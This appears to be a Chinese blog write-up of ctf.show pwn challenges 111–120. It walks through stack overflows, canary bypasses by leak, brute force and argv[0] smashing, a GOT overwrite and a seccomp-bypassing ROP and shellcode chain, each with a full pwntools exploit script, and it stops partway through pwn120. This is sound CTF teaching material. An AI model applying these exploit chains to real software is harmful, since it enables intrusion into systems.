pwn111
保护:
题目说没难度,来品品,只开了NX
明显栈溢出offset = 0x80+8
还有后门函数,直接读flag的,我们栈溢出过去就好了do_global = 0x400697
1 2 3 4 5 6 7 8 9 10 from pwn import * context(arch='amd64',os='linux',log_level='debug') io = remote('pwn.challenge.ctf.show', 28112) offset = 0x80+8 do_ global = 0x400697 payload = b'a'*offset + p64(do_global) io.sendline(payload) io.interactive()
得到flag(的确简单啊
pwn112
保护:
保护开满了几乎,看起来是不太可能硬打,根据题目说满足一定条件即可
看看IDA,发现了明显如果var[13] == 0x11的时候有好东西
还真是,只要让var[13] == 0x11,就能成功得到flag了
我直接让var这个数组里全是0x11也可以吧,写个14个就到v[13]了
写exp
1 2 3 4 5 6 7 from pwn import * context(arch='i386',os='linux',log_level='debug') io = remote('pwn.challenge.ctf.show',28234) payload = p32(0x11)*0xe io.sendline(payload) io.interactive()
成功得到flag
pwn113
保护:
可以看到开了Full RELRO,别的都没开,应该还是个栈溢出题目
根据题目,主要是理清思路
我们拆开来好好看看这个main函数
前边都好说,logo啊什么的,在fwrite向_bss_start写入>>之后立刻fflush刷新了输出缓冲区,前边都没有啥
重点在于这里
1 2 3 4 5 6 7 8 9 10 11 v8 = 0LL; while ( !feof(stdin) ) { v7 = fgetc(stdin); if ( v7 == 10 ) break; v3 = v8++; v6 = v3; v5[v3] = v7; } v5[v8] = 0;
每次读一个字符,只要不是换行符都不会跳出循环,用v8作为下标写入v5数组,然后v8++
这个循环没有任何的长度检查,所以可以拿来构造栈溢出
但多少才会栈溢出呢,这是目前主要的一个问题
先搞明白栈结构
可以看到,main栈帧如上
1 2 3 4 5 __int64 v3; // rax char v5[1032]; // [rsp+0h] [rbp-420h] BYREF __ int64 v6; // [rsp+408h] [rbp-18h] char v7; // [rsp+417h] [rbp-9h]__int64 v8; // [rsp+418h] [rbp-8h]
而这是局部变量的分布
因此栈布局大概是这样子的
1 2 3 4 5 6 7 8 9 10 低地址 [rbp-0x420] v5 缓冲区开始 ... [rbp-0x18] v6 [rbp-0x10] padding [rbp-0x9] v7 [rbp-0x8] v8 [rbp+0x0] saved rbp [rbp+0x8] return address 高地址
我们写入的在v5,索引在v8
1 (rbp-0x8) - (rbp-0x420) = 0x418
也就是说我们在输入第0x418个字节的时候,输入的东西会碰到v8
1 (rbp+0x8) - (rbp-0x420) = 0x428
同理继续往下写的话写到0x428就是saved RIP的地址
我们看汇编可以看到这边的逻辑
1 2 3 4 5 rax = v8 v8 = v8 + 1 v6 = old v8 buf + old v8 最后写入当前字符
所以我们要先取old v8,然后再把这个v8自增,再用old v8作为写入的位置
可以想到,当我写入第0x418个字节的时候
old v8 = 0x418
然后这个时候处理第0x419个字节
会先把v8+1,变成0x419,之后再把这个字节写到v5[0x418]去
而我们刚刚算过,这个v5[0x418]就是v8的最低字节啊
如果这个时候我们写入的是0x28这个字节的话
我们的v8就从0x419直接变成了0x428
1 0x0000000000000419 --> 0x0000000000000428
于是下一次写入就到了0x428,而这是saved RIP的偏移,所以直接就写到返回地址上了,不会一路给这个栈全创飞
1 2 3 4 5 6 7 8 9 10 11 if ( (unsigned int)init(v5) ) { qsort(files, size_of_ path, 0x200uLL, cmp); search_file_ info(); } else { fflush(_bss_ start); set_secommp(); } return 0;
之后就是main的后半段了
这边是两个分支
一个是init成功了,即输入的是普通文件的话就把文件名和路径存到files,返回1
如果是目录就遍历目录放到files然后返回1
另一个是init失败了,输入路径不存在,那就报0
而我们刚刚的payload明显不是个路径啊,所以走的是失败的这条路,也就是在返回前先set_secommp()
来好好看看这个函数
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 int set_secommp() { __int16 v1; // [rsp+0h] [rbp-50h] BYREF __ int16 *v2; // [rsp+8h] [rbp-48h] __int16 v3; // [rsp+10h] [rbp-40h] BYREF char v4; // [rsp+12h] [rbp-3Eh] char v5; // [rsp+13h] [rbp-3Dh] int v6; // [rsp+14h] [rbp-3Ch] __ int16 v7; // [rsp+18h] [rbp-38h] char v8; // [rsp+1Ah] [rbp-36h] char v9; // [rsp+1Bh] [rbp-35h] int v10; // [rsp+1Ch] [rbp-34h] __int16 v11; // [rsp+20h] [rbp-30h] char v12; // [rsp+22h] [rbp-2Eh] char v13; // [rsp+23h] [rbp-2Dh] int v14; // [rsp+24h] [rbp-2Ch] __ int16 v15; // [rsp+28h] [rbp-28h] char v16; // [rsp+2Ah] [rbp-26h] char v17; // [rsp+2Bh] [rbp-25h] int v18; // [rsp+2Ch] [rbp-24h] __int16 v19; // [rsp+30h] [rbp-20h] char v20; // [rsp+32h] [rbp-1Eh] char v21; // [rsp+33h] [rbp-1Dh] int v22; // [rsp+34h] [rbp-1Ch] __ int16 v23; // [rsp+38h] [rbp-18h] char v24; // [rsp+3Ah] [rbp-16h] char v25; // [rsp+3Bh] [rbp-15h] int v26; // [rsp+3Ch] [rbp-14h] __int16 v27; // [rsp+40h] [rbp-10h] char v28; // [rsp+42h] [rbp-Eh] char v29; // [rsp+43h] [rbp-Dh] int v30; // [rsp+44h] [rbp-Ch] __ int16 v31; // [rsp+48h] [rbp-8h] char v32; // [rsp+4Ah] [rbp-6h] char v33; // [rsp+4Bh] [rbp-5h] int v34; // [rsp+4Ch] [rbp-4h] prctl(38, 1LL, 0LL, 0LL, 0LL); v3 = 32; v4 = 0; v5 = 0; v6 = 4; v7 = 21; v8 = 0; v9 = 5; v10 = -1073741762; v11 = 32; v12 = 0; v13 = 0; v14 = 0; v15 = 53; v16 = 0; v17 = 1; v18 = 0x40000000; v19 = 21; v20 = 0; v21 = 2; v22 = -1; v23 = 21; v24 = 1; v25 = 0; v26 = 59; v27 = 6; v28 = 0; v29 = 0; v30 = 2147418112; v31 = 6; v32 = 0; v33 = 0; v34 = 0; v1 = 8; v2 = &v3; return prctl(22, 2LL, &v1); }
可以发现这是个过滤器,先回检查体系是不是x86_64的
然后检查syscall number,核心只拦了一个syscall–>59=execve
所以我们不能用execve,而system也会走到这个execve
所以不能用system,我们只能直接ORW读/flag
ROP链上来先利用栈溢出,通过puts函数泄露地址最后泄露libc
之后就能求到libc基址了
1 2 3 4 5 puts_addr = u64(io.recvuntil(b"\x7f")[-6:].ljust(8,b"\x00")) libc = LibcSearcher("puts",puts_ addr) libc_base = puts_ addr-libc.dump('puts') mprotect_addr = libc_ base+libc.dump("mprotect") gets_addr = libc_ base+libc.dump("gets")
因为mprotect函数需要三个参数所以我们要走rdi、rsi和rdx三个寄存器
第二阶段就是利用mprotect来把.bss这个段变成可执行的
1 2 3 4 payload = b"A"*0x418+p8(0x28)+p64(pop_rdi_ret)+ p64(data) payload += p64(gets_addr)+p64(pop_rdi_ret)+p64(data) payload += p64(pop_rsi)+p64(0x1000)+p64(pop_rdx) payload += p64(7)+p64(mprotect_addr)+ p64(data)
其实是先gets(data),然后mprotect(data,0x1000,7)
最后跳到data,作为返回地址跳到0x603000
为了最后绕过seccomp,我们最后用这个,不用碰execve
1 2 getflag = asm(shellcraft.cat("/flag")) io.sendline(getflag)
写得exp
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 from pwn import * from LibcSearcher import * context(os='linux', arch='amd64', log_level='debug') io = remote("pwn.challenge.ctf.show", 28271) elf = ELF('./pwn113') # binary gadgets / symbols pop_ rdi_ret = 0x401ba3 # misaligned gadget from __libc_csu_init puts_plt = 0x400BD0 puts_got = elf.got['puts'] main_addr = elf.sym['main'] # page-aligned writable address for shellcode data = 0x603000 # -------------------------- # stage 1: leak puts@libc # -------------------------- io.recvuntil(b'>> ') payload = b'A' * 0x418 payload += p8(0x28) # overwrite low byte of v8: 0x419 -> 0x428 payload += p64(pop_rdi_ret) payload += p64(puts_got) payload += p64(puts_plt) payload += p64(main_addr) io.sendline(payload) puts_addr = u64(io.recvuntil(b'\x7f')[-6:].ljust(8, b'\x00')) log.success(f"puts_addr = {hex(puts_addr)}") libc = LibcSearcher("puts", puts_addr) libc_base = puts_addr - libc.dump("puts") gets_addr = libc_base + libc.dump("gets") mprotect_addr = libc_base + libc.dump("mprotect") # gadgets in matched libc pop_rdx_ret = libc_base + 0x1b96 pop_rsi_ret = libc_base + 0x23e6a log.success(f"libc_base = {hex(libc_base)}") log.success(f"gets = {hex(gets_addr)}") log.success(f"mprotect = {hex(mprotect_addr)}") # -------------------------- # stage 2: gets(data); mprotect(data,0x1000,7); jump data # -------------------------- io.recvuntil(b'>> ') payload = b'A' * 0x418 payload += p8(0x28) payload += p64(pop_rdi_ret) payload += p64(data) payload += p64(gets_addr) # gets(data) payload += p64(pop_rdi_ret) payload += p64(data) payload += p64(pop_rsi_ret) payload += p64(0x1000) payload += p64(pop_rdx_ret) payload += p64(7) payload += p64(mprotect_addr) # mprotect(data, 0x1000, 7) payload += p64(data) # jump to shellcode io.sendline(payload) # ORW shellcode: open/read/write /flag sc = asm(shellcraft.cat("/flag")) io.sendline(sc) io.interactive()
直接就读出来了
pwn114
现在我应该学会了…吗?
大概就是bypass旁路绕过一些保护的意思吧,我们来看看这一题
保护:
保护是开了不少,怪唬人的,按题目意思是可以绕过
定位main函数,这边有一个flagishere函数
也就是说一开始就把flag读好了,但是呢不输出存起来了,继续回到main函数
之后是这个signal函数,这是一个崩溃处理函数
就是说如果我们发生了SIGSEGV段错误,就会执行这个sigsegv_handler函数
所以只要段错误就直接读flag了
main函数里边就是问你会不会绕过Canary,不会就结束,必须选择会
会了之后fgets开始读取输入字符了,最多读999字节(留一个给\0
读取的内容会存到s
而打开ctfshow函数
会发现ctfshow这个函数会把接收到的参数复制到dest,而dest只能读0x100+8个字节,随后即溢出
所以很容易构成栈溢出,一开始选择Yes之后写100个字节就自动溢出了,那就段错误了,就直接被signal发现跳flag出来了
1 2 3 4 5 6 7 8 9 10 from pwn import * context(arch='amd64',os='linux',log_level='debug') io = remote('pwn.challenge.ctf.show',28121) io.sendlineafter(': \n','Yes') offset = 0x100+8 payload = b'a'*offset io.sendlineafter('Tell me you want: \n',payload) io.interactive()
得到flag
pwn115
OK开始学Bypass的一些姿势了,先看保护:
只开了一个Canary和NX
主要应该就是绕过这个Canary构造栈溢出然后打,我们看看main函数
可以看到内容短的很啊,就是循环往buf写入0x200的内容,而后边还会printf(buf)
明显存在个格式化字符串的漏洞
先按照惯例算一下参数位置
1 AAAA.%p %p %p %p %p %p %p %p %p %p
发现是第五位
那我们的目标其实蛮明确的吧,就是要去找到Canary的位置,最后绕过检验,直接栈溢出之后改掉,然后逃过Canary
可以看到,buf在ebp-0xD4,而canary在ebp-0xC
所以距离为
在32位程序中,一个栈帧为4字节,所以中间隔了0xC8/4 = 50个4字节单位
刚刚算出来了参数位置是第五位
所以最后是第55位为栈的地址
%55$p
知道位置了我们就能将其泄露出来了,前边放个abcd之类的标记记录一下,之后直接recv截取即可
存在直接的后门,直接抓就好了
backdoor = 0x080485A6
1 2 3 4 5 6 7 8 9 10 11 12 13 from pwn import * context(arch='i386',os='linux',log_level='debug') io = remote('pwn.challenge.ctf.show',28170) backdoor = 0x080485A6 payload1 = b'abcd'+b'%55$p' io.sendline(payload1) io.recvuntil(b'abcd0x') canary = int(io.recv(8),16) payload2 = b'a'*(0xD4-0xC)+p32(canary)+b'a'*0xC+p32(backdoor) io.sendline(payload2) io.interactive()
总的来说,就是先走到Canary面前,给它自己原来的样子,然后再往后走0xC走到返回地址面前,把backdoor的地址塞进去,我们就返回到那边了
成功绕过canary栈溢出得到flag
pwn116
继续学习别的绕过姿势
保护:
继续来看
读两次buf,这中间不是还是格式化字符串漏洞吗,读两次然后检测Canary
和pwn115的唯一区别就是只能读两次了,下边118甚至只能读一次了
后门也还在backdoor = 0x08048586
先测参数位置吧
1 AAAA.%p %p %p %p %p %p %p %p %p %p
第7位
看看栈结构
2C到C
也就是
1 2 0x2C-0xC = 0x20 0x20/4 = 8
再第七位,也就是8+7=15了
1 2 3 4 5 6 7 8 9 10 11 12 13 from pwn import * context(arch='i386',os='linux',log_level='debug') io = remote('pwn.challenge.ctf.show',28265) backdoor = 0x08048586 payload1 = b'abcd'+b'%15$p' io.sendline(payload1) io.recvuntil(b'abcd0x') canary = int(io.recv(8),16) payload2 = b'a'*(0x2C-0xC)+p32(canary)+b'a'*0xC+p32(backdoor) io.sendline(payload2) io.interactive()
得到flag
pwn117
保护:
保护上没啥变化,但是变成64位了
上来直接自己读了/flag然后放在fd了
接着又从fd读了0x100个字节到buf
说是给我们省时间了,当然了,直接给我们放在buf了
后边是一个gets函数,存在栈溢出
而最后也存在Canary,这一题如果按正常思路打是打不通的,因为拿不到Canary
我们仔细看看这个Canary,就是这个__stack_chk_fail
这边利用栈溢出时我们不需要拿 shell,而是故意继续覆盖,破坏 canary 并进一步改写启动栈上glibc 使用的 __libc_argv[0]
随后我们构造栈溢出,检测到栈被覆盖,程序在返回前触发 __stack_chk_fail
可以看到在旧版 glibc 中,这条报错路径会把 __libc_argv[0] 按字符串打印出来
1 2 3 4 5 6 7 8 9 10 11 12 13 14 eglibc-2.19/debug/stack_chk_ fail.c void __attribute__ ((noreturn)) __stack_chk_ fail (void) { __ fortify_fail ("stack smashing detected"); } void __attribute__ ((noreturn)) internal_ function __fortify_fail (const char *msg) { /* The loop is added only to keep gcc happy. */ while (1) _ _libc_ message (2, "*** %s ***: %s terminatedn", msg, __libc_argv[0] ?: "<unknown > "); }
因此我们可以把它改成 .bss 段中 buf 的地址 0x6020A0,从而把其中的 flag 当作字符串泄露出来。glibc 后续版本已经修补了这一行为,所以本地新环境未必能复现同样输出。
1 2 3 4 5 6 7 from pwn import * context(arch='amd64',os='linux',log_level='debug') io = remote('pwn.challenge.ctf.show',28271) payload=b"a"*504+p64(0x6020A0) io.sendline(payload) io.interactive()
pwn118
保护:
32位,开了Canary和NX,但是是No RELRO
我们打开看看
有点像pwn115啊,格式化字符串漏洞
1 AAAA.%p %p %p %p %p %p %p %p %p %p
参数位置在第7位
后门也准备好了
但是这一题和pwn115以及pwn116还是不太一样的,因为这一题只能运用一次格式化字符串了,而我们之前的脚本都是运行两次的,我们必须修改思路
这边注意到这一题的特性,即No RELRO,我们可以直接劫持修改GOT表的
既然了解到最后一定会遇到___stack_chk_fail,我们其实可以直接把这个函数改成get_flag这个函数
直接利用格式化字符串漏洞改写___stack_chk_fail
1 2 3 4 5 6 7 8 9 10 11 12 from pwn import * context(arch='i386',os='linux',log_level='debug') io = remote('pwn.challenge.ctf.show',28160) elf = ELF('./pwn118') stack_ chk_fail_ local = elf.got['__stack_chk_ fail'] get_flag = elf.sym['get_ flag'] payload = fmtstr_payload(7,{stack_ chk_fail_ local:get_flag}) payload = payload.ljust(0x50,b'A') io.sendline(payload) io.interactive()
得到flag
pwn119
姿势路漫漫
保护:
可以看到这边main函数用了一个无限循环的父进程,调用fork来创建子进程
父进程会返回子进程的PID导致跳过break,在那边wait(0),直到子进程结束再开始下一次循环
而子进程则是返回0,break,然后进入ctfshow()函数
ctfshow函数也是很明显的一个Canary栈金丝雀
这边先是把内存区域s的内容全部设置为0,清除s
之后让我们往s里边写东西,最后puts出来
我们可以直接构造栈溢出来试探Canary的值,之后崩溃就崩溃,反正会再创新的子进程
我们知道Canary通常是四字节,而且第一字节为了防止泄露一般都是\x00
所以爆破数量不大,我们尝试爆破,每次走到那边试一下,不对就炸,炸完再试
因为是同一个进程,canary是一样的
爆破就好了,爆破到了后门就在这边了
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 from pwn import * context(arch='i386',os='linux',log_level='debug') io = remote('pwn.challenge.ctf.show',28171) elf = ELF('./pwn119') backdoor = 0x08048636 canary = b'\x00' for _ in range(3): for j in range(256): payload = b'a'*(0x70-0xC) + canary + p8(j) io.send(payload) sleep(0.3) if b"stack smashing detected" not in io.recv(): canary += p8(j) break payload = b'a'*(0x70-0xC) + canary + b'a'* 0xc + p32(backdoor) io.send(payload) io.interactive()
一个个爆,爆到一个加一个爆到一个加一个
最后会返回这个报错的,我们检测不到这个就加,然后慢慢补齐就好了
爆半天终于好了
得到flag
pwn120
保护:
这题变成Full RELRO了
开始玩线程了吗,正好操作系统一天到晚玩这个
可以看到上来先声明了一个大小为2的线程ID数组,之后说了实际线程存在newthread[0]里边
而newthread[1]里存的则是栈保护值
之后开始工作,pthread_create(newthread, 0LL, start, 0LL);
创一个新线程,入口函数为start,然后不传递参数
之后一直等这个线程结束
所以我们去start看看,毕竟入口函数在start
每一步都有栈检测
上来清空s
之后一直到v2 = lenth(),看看这是什么
栈保护开死,然后输入最多8个字符到s,还会把字符串转化为long类型
如果我们的v2<=0x5000,就会进行读取,读取v2个字符到s
最后返回atol(s),然后是readn(0LL, s, v2);
这个readn也不简单